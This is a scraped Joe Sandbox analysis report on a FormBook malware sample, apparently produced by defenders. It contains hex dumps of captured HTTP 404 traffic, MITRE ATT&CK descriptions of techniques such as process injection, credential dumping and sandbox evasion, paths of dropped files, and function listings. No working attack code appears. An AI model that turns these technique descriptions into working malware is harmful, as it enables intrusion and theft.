3d 22 2f 63 67 69 2d 73 79 73 2f 6a 73 2f 73 69 6d 70 6c 65 2d 65 78 70 61 6e 64 2e 6d 69 6e 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 7b 70 61 64 64 69 6e 67 3a 30 3b 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 68 65 6c 76 65 74 69 63 61 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 32 30 70 78 20 61 75 74 6f 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 74 6f 70 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 74 6f 70 5f 77 2e 6a 70 67 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 6e 6f 2d 72 65 70 65 61 74 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 68 65 69 67 68 74 3a 31 36 38 70 78 3b 7d 0a 20 20 20 20 20 20 20 20 23 63 6f 6e 74 61 69 6e 65 72 20 23 6d 69 64 34 30 34 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 75 72 6c 28 27 2f 63 67 69 2d 73 79 73 2f 69 6d 61 67 65 73 2f 34 30 34 6d 69 64 2e 67 69 66 27 29 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 72 65 70 65 61 74 2d 79 3b 77 69 64 74 68 3a 38 36 38 70 78 3b 7d 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Nov 2022 00:10:48 GMTServer: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635Accept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 30 Nov 2022 00:10:50 GMTServer: Apache/2.2.25 (Unix) mod_ssl/2.2.25 OpenSSL/1.0.0-fips mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635Accept-Ranges: bytesConnection: closeTransfer-Encoding: chunkedContent-Type: text/htmlData Raw: 31 0d 0a 0a 0d 0a 31 0d 0a 0a 0d 0a 39 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 0d 0a 35 37 39 0d 0a 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 56 65 72 64 61 6e 61 2c 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 33 36 37 45 38 45 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 35 42 37 30 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 61 72 72 6f 77 2d 63 6f 6c 6f 72 3a 20 23 46 33 39 36 30 42 3b 0a 20 20 20 20 20 20 20 20 09 73 63 72 6f 6c 6c 62 61 72 2d 44 61 72 6b 53 68 61 64 6f 77 2d 43 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 46 46 46 46 46 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 61 20 7b 20 63 6f 6c 6f 72 3a 23 30 32 31 66 32 35 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 0a 20 20 20 20 20 20 20 20 68 31 20 7b 0a 20 20 20 20 20 20 20 20 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 38 70 78 3b 0a 20 20 20 20 20 20 20 20 09 63 6f 6c 6f 72 3a 20 23 46 42 39 38 30 32 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 69 6d 61 67 65 3a 20 75 72 6c 28 73 79 73 5f 63 70 61 6e 65 6c 2f 69 6d 61 67 65 73 2f 62 6f 74 74 6f 6d 62 6f 64 79 2e 6a 70 67 29 3b 0a 20 20 20 20 20 20 20 20 09 62 61 63 6b 67 72 6f 75 6e 64 2d 72 65 70 65 61 74 3a 20 72 65 70 65 61 74 2d 78 3b 0a 20 20 20 20 20 20 20 20 09 70 61 64 64 69 6e 67 3a 35 70 78 20 30 20 31 30 70 78 20 31 35 70 78 3b 0a 09 09 09 6d 61 72 67 69 6e 3a 30 3b 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 30 Nov 2022 00:10:56 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 30 Nov 2022 00:10:58 GMTContent-Type: text/htmlContent-Length: 146Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	PowerShell logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse shared modules to execute malicious payloads. The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in NTDLL.dll and is part of the Windows Native API which is called from functions like `CreateProcess` , `LoadLibrary` , etc. of the Win32 API.
Tactics:	Execution
Data Sources:	API monitoring, DLL monitoring, File monitoring, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	API monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report qHpeBvr9cR.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: FormBook

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\-ODfqI49

C:\Users\user\AppData\Local\Temp\febcldoukq.exe

C:\Users\user\AppData\Local\Temp\nsx95CC.tmp

C:\Users\user\AppData\Local\Temp\rcibkfyfwn.yxq

C:\Users\user\AppData\Local\Temp\uebzn.cef

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Windows Analysis Report
qHpeBvr9cR.exe

Function 0040324F Relevance: 84.3, APIs: 26, Strings: 22, Instructions: 313
stringfilecomCOMMON

Function 00405620 Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 156
filestringCOMMON

Function 00406333 Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405FF6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 14
fileCOMMON

Function 0040374E Relevance: 49.2, APIs: 13, Strings: 15, Instructions: 215
stringregistryCOMMON

Function 00402C88 Relevance: 26.5, APIs: 5, Strings: 10, Instructions: 203
memoryCOMMON

Function 00401734 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 147
stringtimeCOMMON

Function 00402F2E Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 109
fileCOMMON

Function 00403059 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 108
fileCOMMON

Function 004015B3 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
COMMON

Function 0040601D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 34
libraryCOMMON

Function 00405A01 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 004058CF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
stringCOMMON

Function 0040555B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24
processCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may shutdown/reboot systems to interrupt access to, or aid in the destruction of, those systems. Operating systems may contain commands to initiate a shutdown/reboot of a machine. In some cases, these commands may also be used to initiate a shutdown/reboot of a remote computer.Shutting down or rebooting systems may disrupt access to computer resources for legitimate users.
Tactics:	Impact
Data Sources:	Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre